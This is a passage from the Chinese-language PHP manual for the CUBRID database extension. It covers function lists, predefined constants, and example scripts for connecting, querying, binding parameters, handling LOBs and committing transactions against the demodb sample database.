    • cubrid_set_add — Insert a single element to set type column using OID
    • cubrid_set_autocommit — Set autocommit mode of the connection
    • cubrid_set_db_parameter — Sets the CUBRID database parameters
    • cubrid_set_drop — Delete an element from set type column using OID
    • cubrid_set_query_timeout — Set the timeout time of query execution
    • cubrid_version — Get the CUBRID PHP module's version
  • CUBRID MySQL 兼容性函数
    • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
    • cubrid_client_encoding — Return the current CUBRID connection charset
    • cubrid_close — Close CUBRID connection
    • cubrid_data_seek — Move the internal row pointer of the CUBRID result
    • cubrid_db_name — Get db name from results of cubrid_list_dbs
    • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
    • cubrid_error — Get the error message
    • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
    • cubrid_fetch_field — Get column information from a result and return as an object
    • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
    • cubrid_fetch_object — Fetch the next row and return it as an object
    • cubrid_fetch_row — Return a numerical array with the values of the current row
    • cubrid_field_flags — Return a string with the flags of the given field offset
    • cubrid_field_len — Get the maximum length of the specified field
    • cubrid_field_name — Return the name of the specified field index
    • cubrid_field_seek — Move the result set cursor to the specified field offset
    • cubrid_field_table — Return the name of the table of the specified field
    • cubrid_field_type — Return the type of the column corresponding to the given field offset
    • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
    • cubrid_num_fields — Return the number of columns in the result set
    • cubrid_ping — Ping a server connection or reconnect if there is no connection
    • cubrid_query — Send a CUBRID query
    • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
    • cubrid_result — Return the value of a specific field in a specific row
    • cubrid_unbuffered_query — Perform a query without fetching the results into memory
  • CUBRID 过时的别名和函数
    • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
    • cubrid_new_glo — Create a glo instance
    • cubrid_save_to_glo — Save requested file in a GLO instance
    • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数可以让你访问CUBRID数据库服务。更多关于CUBRID的信息可以在» CUBRID找到。

在» CUBRID 参考资料 可以找到关于CUBRID的参考资料。

User Contributed Notes

There are no user contributed notes for this page.


需求

为使这些函数可用，必须安装CUBRID和编译CUBRID PHP库，提供CUBRID支持。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/cubrid.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

关于在 Linux 和 Windows 系统上的安装手册信息，请阅读包含在包中的这个文件build-guide.html。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

无运行时配置

User Contributed Notes

There are no user contributed notes for this page.


资源类型

在CUBRID中使用四种资源类型。第一个用于连接数据库的链接标识符，第二个是保存一个查询结果的资源类型，以及最后两个保存BLOB/CLOB查询结果的资源数据类型。

connection 标识符

由 cubrid_connect(),
cubrid_connect_with_url(),
cubrid_pconnect() 以及
cubrid_pconnect_with_url()返回的一个连接标识符。

request 标识符

由 cubrid_prepare() 和 cubrid_execute()返回的一个请求标识符。

LOB 标识符

由cubrid_lob_get()返回的一个LOB 标识符。

LOB2 标识符

由 cubrid_lob2_new()返回或从结果集中获取的一个LOB 标识符

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

下列常量在执行SQL语句的时候可能被用到。它们可以被传递给cubrid_prepare() 和 cubrid_execute()。

CUBRID SQL 执行标志
常量 | 说明
CUBRID_INCLUDE_OID | Determine whether to get OID during query execution.
CUBRID_ASYNC | Execute the query in asynchronous mode.
CUBRID_EXEC_QUERY_ALL | Execute the query in synchronous mode. This flag must be set when executing multiple SQL statements.

The following constants can be used when fetching the results to specify fetch behaviour. They can be passed to cubrid_fetch() and cubrid_fetch_array().

CUBRID fetch flags
Constant | Description
CUBRID_NUM | Get query result as a numeric array (0-default).
CUBRID_ASSOC | Get query result as an associative array.
CUBRID_BOTH | Get query result as both numeric and associative arrays (default value).
CUBRID_OBJECT | Get query result an object.
CUBRID_LOB | The constant CUBRID_LOB can be used when you want to operate the lob object. It can be passed to cubrid_fetch(), cubrid_fetch_row(), cubrid_fetch_array(), cubrid_fetch_assoc() and cubrid_fetch_object().

The following constants can be used when positioning the cursor in query results. They can be passed to or returned by cubrid_move_cursor().

CUBRID cursor position flags
Constant | Description
CUBRID_CURSOR_FIRST | Move current cursor to the first position in the result.
CUBRID_CURSOR_CURRENT | Move current cursor as a default value if the origin is not specified.
CUBRID_CURSOR_LAST | Move current cursor to the last position in the result.
CUBRID_CURSOR_SUCCESS | Returned value of cubrid_move_cursor() function in case of success. This flag has been removed from 8.4.1.
CUBRID_NO_MORE_DATA | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.
CUBRID_CURSOR_ERROR | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.

The following constants can be used when setting the auto-commit mode for the database connection. They can be passed to cubrid_set_autocommit() or returned by cubrid_get_autocommit().

CUBRID auto-commit mode flags
Constant | Description
CUBRID_AUTOCOMMIT_TRUE | Enable the auto-commit mode.
CUBRID_AUTOCOMMIT_FALSE | Disable the auto-commit mode.

The following constants can be used when setting the database parameter. They can be passed to cubrid_set_db_parameter().

CUBRID parameter flags
Constant | Description
CUBRID_PARAM_ISOLATION_LEVEL | Transaction isolation level for the database connection.
CUBRID_PARAM_LOCK_TIMEOUT | Transaction timeout in seconds.

The following constants can be used when setting the transaction isolation level. They can be passed to cubrid_set_db_parameter() or returned by cubrid_get_db_parameter().

CUBRID isolation level flags
Constant | Description
TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to cubrid_schema().

CUBRID schema flags
Constant | Description
CUBRID_SCH_CLASS | Get name and type of table in CUBRID.
CUBRID_SCH_VCLASS | Get name and type of view in CUBRID.
CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
CUBRID_SCH_CLASS_ATTRIBUTE | Get the attributes of table.
CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
CUBRID_SCH_CLASS_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
CUBRID_SCH_SUPERCLASS | Get the name and type of table which table inherites attributes from.
CUBRID_SCH_SUBCLASS | Get the name and type of table which inherites attributes from this table.
CUBRID_SCH_CONSTRAINT | Get the table constraints.
CUBRID_SCH_TRIGGER | Get the table triggers.
CUBRID_SCH_CLASS_PRIVILEGE | Get the privilege information of table.
CUBRID_SCH_ATTR_PRIVILEGE | Get the privilege information of column.
CUBRID_SCH_DIRECT_SUPER_CLASS | Get the direct super table of table.
CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

The following constants can be used when reporting errors. 在报告错误的时候，下列常量可能被用到。它们可能由cubrid_error_code_facility()返回。

CUBRID 错误功能代码
常量 | 说明
CUBRID_FACILITY_DBMS | The error occurred in CUBRID dbms.
CUBRID_FACILITY_CAS | The error occurred in CUBRID broker cas.
CUBRID_FACILITY_CCI | The error occurred in CUBRID cci.
CUBRID_FACILITY_CLIENT | The error occurred in CUBRID PHP client.

User Contributed Notes

There are no user contributed notes for this page.


示例

下面是一个在PHP和CUBRID建立连接的简单的例子。本节将覆盖最基本和最显著的特性。下面的代码需要连接CUBRID数据库，这意味着 CUBRID服务和 CUBRID Broker已经运行。

下面用demodb数据库作为例子举例。默认在安装时就创建了。确认此数据库已经被创建。

Example #1 数据查询的例子

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
</head>
<body>
<center>
<table border=2>
<?php
/**
* Set server information for CUBRID connection. host_ip is the IP
* address where the CUBRID Broker is installed (localhost in this
* example), and host_port is the port number of the CUBRID Broker.
* The port number is the default given during the installation.
* For details, see "Administrator's Guide."
*/
$host_ip = "localhost";
$host_port = 33000;
$db_name = "demodb";
/**
* Connect to CUBRID Server. Do not make the actual connection, but
* only retain the connection information. The reason for not making
* the actual connection is to handle transaction more efficiently
* in the 3-tier architecture.
*/
$cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

if (!$cubrid_con) {
echo "Database Connection Error";
exit;
}
?>
 <?php
$sql = "select sports, count(players) as players from event group by sports";
/**
* Request the CUBRID Server for the results of the SQL statement.
* Now make the actual connection to the CUBRID Server.
*/
$result = cubrid_execute($cubrid_con, $sql);

if ($result) {
/**
* Get the column names from the result set created by the SQL query.
*/
$columns = cubrid_column_names($result);
/**
* Get the number of columns in the result set created by the SQL query.
*/
$num_fields = cubrid_num_cols($result);
/**
* List the column names of the result set on the screen.
*/
echo "<tr>";

while (list($key, $colname) = each($columns)) {
echo "<td align=center>$colname</td>";
}

echo "</tr>";

/**
* Get the results from the result set.
*/
while ($row = cubrid_fetch($result)) {
echo "<tr>";

for ($i = 0; $i < $num_fields; $i++) {
echo "<td align=center>";
echo $row[$i];
echo "</td>";
}

echo "</tr>";
}
}
/**
* The PHP module in the CUBRID runs in a 3-tier architecture. Even when
* calling SELECT for transaction processing, it is processed as a part
* of the transaction. Therefore, the transaction needs to be rolled back
* by calling commit or rollback even though SELECT was called for smooth
* performance.
*/
cubrid_commit($cubrid_con);
cubrid_disconnect($cubrid_con);
?>
 </body>
</html>

Example #2 数据插入的例子

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc- kr">
</head>
<body>
<center>
<table border=2>
<?php
/**
* host_ip is the IP address where the CUBRID Broker is installed
* host_port is the port number of the CUBRID Broker
* db_name is the name of CUBRID Database
*/
$host_ip = "localhost";
$host_port = 33000;
$db_name = "demodb";
$cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

if (!$cubrid_con) {
echo "Database Connection Error";
exit;
}
?>
 <?php
$sql = "insert into olympic (host_year,host_nation,host_city,"
. "opening_date,closing_date) values (2008, 'China', 'Beijing',"
. "to_date('08-08-2008','mm-dd- yyyy'),to_date('08-24-2008','mm-dd-yyyy')) ;";
$result = cubrid_execute($cubrid_con, $sql);
if ($result) {
/**
* Handled successfully, so commit.
*/
cubrid_commit($cubrid_con);
echo "Inserted successfully ";
} else {
/**
* Error occurred, so the error message is output and rollback is called.
*/
echo cubrid_error_msg();
cubrid_rollback($cubrid_con);
}
cubrid_disconnect($cubrid_con);
?>
 </body>
</html>

User Contributed Notes

There are no user contributed notes for this page.


CUBRID 函数

Table of Contents

  • cubrid_bind — Bind variables to a prepared statement as parameters
  • cubrid_close_prepare — Close the request handle
  • cubrid_close_request — Close the request handle
  • cubrid_col_get — Get contents of collection type column using OID
  • cubrid_col_size — Get the number of elements in collection type column using OID
  • cubrid_column_names — Get the column names in result
  • cubrid_column_types — Get column types in result
  • cubrid_commit — Commit a transaction
  • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
  • cubrid_connect — Open a connection to a CUBRID Server
  • cubrid_current_oid — Get OID of the current cursor location
  • cubrid_disconnect — Close a database connection
  • cubrid_drop — Delete an instance using OID
  • cubrid_error_code_facility — Get the facility code of error
  • cubrid_error_code — Get error code for the most recent function call
  • cubrid_error_msg — Get last error message for the most recent function call
  • cubrid_execute — Execute a prepared SQL statement
  • cubrid_fetch — Fetch the next row from a result set
  • cubrid_free_result — Free the memory occupied by the result data
  • cubrid_get_autocommit — Get auto-commit mode of the connection
  • cubrid_get_charset — Return the current CUBRID connection charset
  • cubrid_get_class_name — Get the class name using OID
  • cubrid_get_client_info — Return the client library version
  • cubrid_get_db_parameter — Returns the CUBRID database parameters
  • cubrid_get_query_timeout — Get the query timeout value of the request
  • cubrid_get_server_info — Return the CUBRID server version
  • cubrid_get — Get a column using OID
  • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
  • cubrid_is_instance — Check whether the instance pointed by OID exists
  • cubrid_lob_close — Close BLOB/CLOB data
  • cubrid_lob_export — Export BLOB/CLOB data to file
  • cubrid_lob_get — Get BLOB/CLOB data
  • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
  • cubrid_lob_size — Get BLOB/CLOB data size
  • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters
  • cubrid_lob2_close — Close LOB object
  • cubrid_lob2_export — Export the lob object to a file
  • cubrid_lob2_import — Import BLOB/CLOB data from a file
  • cubrid_lob2_new — Create a lob object
  • cubrid_lob2_read — Read from BLOB/CLOB data
  • cubrid_lob2_seek64 — Move the cursor of a lob object
  • cubrid_lob2_seek — Move the cursor of a lob object
  • cubrid_lob2_size64 — Get a lob object's size
  • cubrid_lob2_size — Get a lob object's size
  • cubrid_lob2_tell64 — Tell the cursor position of the LOB object
  • cubrid_lob2_tell — Tell the cursor position of the LOB object
  • cubrid_lob2_write — Write to a lob object
  • cubrid_lock_read — Set a read lock on the given OID
  • cubrid_lock_write — Set a write lock on the given OID
  • cubrid_move_cursor — Move the cursor in the result
  • cubrid_next_result — Get result of next query when executing multiple SQL statements
  • cubrid_num_cols — Return the number of columns in the result set
  • cubrid_num_rows — Get the number of rows in the result set
  • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
  • cubrid_pconnect — Open a persistent connection to a CUBRID server
  • cubrid_prepare — Prepare a SQL statement for execution
  • cubrid_put — Update a column using OID
  • cubrid_rollback — Roll back a transaction
  • cubrid_schema — Get the requested schema information
  • cubrid_seq_drop — Delete an element from sequence type column using OID
  • cubrid_seq_insert — Insert an element to a sequence type column using OID
  • cubrid_seq_put — Update the element value of sequence type column using OID
  • cubrid_set_add — Insert a single element to set type column using OID
  • cubrid_set_autocommit — Set autocommit mode of the connection
  • cubrid_set_db_parameter — Sets the CUBRID database parameters
  • cubrid_set_drop — Delete an element from set type column using OID
  • cubrid_set_query_timeout — Set the timeout time of query execution
  • cubrid_version — Get the CUBRID PHP module's version

User Contributed Notes

There are no user contributed notes for this page.


Bind variables to a prepared statement as parameters

  • ? CUBRID 函数
  • cubrid_close_prepare ?
  • PHP Manual
  • CUBRID 函数
  • Bind variables to a prepared statement as parameters

cubrid_bind

(PECL CUBRID >= 8.3.0)

cubrid_bind — Bind variables to a prepared statement as parameters

说明

cubrid_bind(
resource $req_identifier,
int $bind_index,
mixed $bind_value,
string $bind_value_type = ?
): bool

The cubrid_bind() function is used to bind values to a corresponding named or question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be the default.

Note:

If the type of data to be bound is BLOB/CLOB, CUBRID will try to map the data as a PHP stream. If the actually bind value type is not stream, CUBRID will convert it to string, and use it as the full path and file name of a file on the client filesystem.

If the type of data to be bound explicitly is ENUM, the bind_value argument should be the enum element which is in string format.

In CUBRID shard envrioment, the bind_value_type must be included in the cubrid_bind() function.

The following table shows the types of substitute values.

CUBRID Bind Date Types
Support | Bind Type | Corresponding SQL Type
Supported | STRING | CHAR, VARCHAR
 | NCHAR | NCHAR, NVARCHAR
 | BIT | BIT, VARBIT
 | NUMERIC or NUMBER | SHORT, INT, NUMERIC
 | FLOAT | FLOAT
 | DOUBLE | DOUBLE
 | TIME | TIME
 | DATE | DATE
 | TIMESTAMP | TIMESTAMP
 | OBJECT | OBJECT
 | ENUM | ENUM
 | BLOB | BLOB
 | CLOB | CLOB
 | NULL | NULL
Not supported | SET | SET
 | MULTISET | MULTISET
 | SEQUENCE | SEQUENCE

参数

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

A type of the value to bind. (It is omitted by default. Thus, the system internally uses string by default. However, you need to specify the exact type of the value as an argument when they are NCHAR, BIT, or BLOB/CLOB).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.3.1 | Added BLOB/CLOB data types support.

示例

Example #1 cubrid_bind() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE sports='Basketball' and gender='M'");
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$game_req = cubrid_prepare($conn, "SELECT athlete_code FROM game WHERE host_year=1992 and event_code=? and nation_code='USA'");
cubrid_bind($game_req, 1, $event_code, "number");
cubrid_execute($game_req);

printf("--- Dream Team (1992 United States men's Olympic basketball team) ---\n");
while ($athlete_code = cubrid_fetch_array($game_req, CUBRID_NUM)) {
$athlete_req = cubrid_prepare($conn, "SELECT name FROM athlete WHERE code=? AND nation_code='USA' AND event='Basketball' AND gender='M'");
cubrid_bind($athlete_req, 1, $athlete_code[0], "number");
cubrid_execute($athlete_req);
$row = cubrid_fetch_assoc($athlete_req);
printf("%s\n", $row["name"]);
}

cubrid_close_request($game_req);
cubrid_close_request($athlete_req);

cubrid_disconnect($conn);
?>

以上示例会输出：

--- Dream Team (1992 United States men's Olympic basketball team) ---
Stockton John
Robinson David
Pippen Scottie
Mullin C.
Malone Karl
Laettner C.
Jordan Michael
Johnson Earvin
Ewing Patrick
Drexler Clyde
Bird Larry
Barkley Charles

Example #2 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (doc_content CLOB)");
$sql = "INSERT INTO php_cubrid_lob_test(doc_content) VALUES(?)";
$req = cubrid_prepare($con, $sql);

$fp = fopen("book.txt", "rb");

cubrid_bind($req, 1, $fp, "clob");
cubrid_execute($req);
}
?>

Example #3 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (image BLOB)");
$sql = "INSERT INTO php_cubrid_lob_test(image) VALUES(?)";
$req = cubrid_prepare($con, $sql);

cubrid_bind($req, 1, "cubrid_logo.png", "blob");
cubrid_execute($req);
}
?>

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_prepare() - Prepare a SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • ? cubrid_bind
  • cubrid_close_request ?
  • PHP Manual
  • CUBRID 函数
  • Close the request handle

cubrid_close_prepare

(PECL CUBRID >= 8.3.0)

cubrid_close_prepare — Close the request handle

说明

cubrid_close_prepare(resource $req_identifier): bool

The cubrid_close_prepare() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_request().

参数

req_identifier

Request identifier.

返回值

Return true on success.

示例

Example #1 cubrid_close_prepare() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
echo "connected successfully";
$req = cubrid_execute ( $con, "select * from members",
CUBRID_INCLUDE_OID | CUBRID_ASYNC);
if ($req) {
while ( list ($id, $name) = cubrid_fetch ($req) ){
echo $id;
echo $name;
}
cubrid_close_prepare($req); // or you can use cubrid_close_request($req)
}
cubrid_disconnect($con);
}
?>

参见

  • cubrid_close_request() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • ? cubrid_close_prepare
  • cubrid_col_get ?
  • PHP Manual
  • CUBRID 函数
  • Close the request handle

cubrid_close_request

(PECL CUBRID >= 8.3.0)

cubrid_close_request — Close the request handle

说明

cubrid_close_request(resource $req_identifier): bool

The cubrid_close_request() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_prepare().

参数

req_identifier

Request identifier.

返回值

Return true on success.

示例

Example #1 cubrid_close_request() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
echo "connected successfully";
$req = cubrid_execute ( $con, "select * from members",
CUBRID_INCLUDE_OID | CUBRID_ASYNC);
if ($req) {
while ( list ($id, $name) = cubrid_fetch ($req) ){
echo $id;
echo $name;
}
cubrid_close_request($req); // or you can use cubrid_close_prepare($req)
}
cubrid_disconnect($con);
}
?>

参见

  • cubrid_close_prepare() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Get contents of collection type column using OID

  • ? cubrid_close_request
  • cubrid_col_size ?
  • PHP Manual
  • CUBRID 函数
  • Get contents of collection type column using OID

cubrid_col_get

(PECL CUBRID >= 8.3.0)

cubrid_col_get — Get contents of collection type column using OID

说明

cubrid_col_get(resource $conn_identifier, string $oid, string $attr_name): array

The cubrid_col_get() function is used to get contents of the elements of the collection type (set, multiset, sequence) attribute you requested as an array.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr_name

Attribute name that you want to read from the instance.

返回值

Array (0-based numerical array) containing the elements you requested, when process is successful;

false (to distinguish the error from the situation of attribute having empty collection or NULL, in case of error, a warning message is shown; in such case you can check the error by using cubrid_error_code()), when process is unsuccessful.

示例

Example #1 cubrid_col_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the number of elements in collection type column using OID

  • ? cubrid_col_get
  • cubrid_column_names ?
  • PHP Manual
  • CUBRID 函数
  • Get the number of elements in collection type column using OID

cubrid_col_size

(PECL CUBRID >= 8.3.0)

cubrid_col_size — Get the number of elements in collection type column using OID

说明

cubrid_col_size(resource $conn_identifier, string $oid, string $attr_name): int

The cubrid_col_size() function is used to get the number of elements in a collection type (set, multiset, sequence) attribute.

参数

conn_identifier

Connection identifier.

oid

OID the instance that you want to work with.

attr_name

Name of the attribute that you want to work with.

返回值

Number of elements, when process is successful, 或者在失败时返回 false.

更新日志

版本 | 说明
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

示例

Example #1 cubrid_col_size() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the column names in result

  • ? cubrid_col_size
  • cubrid_column_types ?
  • PHP Manual
  • CUBRID 函数
  • Get the column names in result

cubrid_column_names

(PECL CUBRID >= 8.3.0)

cubrid_column_names — Get the column names in result

说明

cubrid_column_names(resource $req_identifier): array

The cubrid_column_names() function is used to get the column names of the query result by using req_identifier.

参数

req_identifier

Request identifier.

返回值

Array of string values containing the column names, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_column_names() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

参见

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_column_types() - Get column types in result

User Contributed Notes

There are no user contributed notes for this page.


Get column types in result

  • ? cubrid_column_names
  • cubrid_commit ?
  • PHP Manual
  • CUBRID 函数
  • Get column types in result

cubrid_column_types

(PECL CUBRID >= 8.3.0)

cubrid_column_types — Get column types in result

说明

cubrid_column_types(resource $req_identifier): array

The cubrid_column_types() function gets column types of query results by using req_identifier.

参数

req_identifier

Request identifier.

返回值

Array of string values containing the column types, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_column_types() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

参见

  • cubrid_column_names() - Get the column names in result
  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • ? cubrid_column_types
  • cubrid_connect_with_url ?
  • PHP Manual
  • CUBRID 函数
  • Commit a transaction

cubrid_commit

(PECL CUBRID >= 8.3.0)

cubrid_commit — Commit a transaction

说明

cubrid_commit(resource $conn_identifier): bool

The cubrid_commit() function is used to execute commit on the transaction pointed by conn_identifier, currently in progress. Connection to the server is closed after the cubrid_commit() function is called; However, the connection handle is still valid.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. You can set it by using cubrid_set_autocommit(). You can get its status by using cubrid_get_autocommit(). Before you start a transaction, remember to disable the auto-commit mode.

参数

conn_identifier

Connection identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_commit() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;
cubrid_set_autocommit($conn,false);
if (!cubrid_execute($conn, $sql)) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
cubrid_bind($req, 1, $id_list[$i]);
cubrid_bind($req, 2, $name_list[$i]);
cubrid_bind($req, 3, $city_list[$i]);
cubrid_bind($req, 4, $state_list[$i]);
cubrid_bind($req, 5, $country_list[$i]);

if (!($ret = cubrid_execute($req))) {
break;
}
}

if (!$ret) {
cubrid_rollback($conn);
} else {
cubrid_commit($conn);

$req = cubrid_execute($conn, "SELECT * FROM publishers");
while ($result = cubrid_fetch_assoc($req)) {
printf("%-3s %-20s %-15s %-3s %-15s\n",
$result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
}
}

cubrid_disconnect($conn);
?>

以上示例会输出：

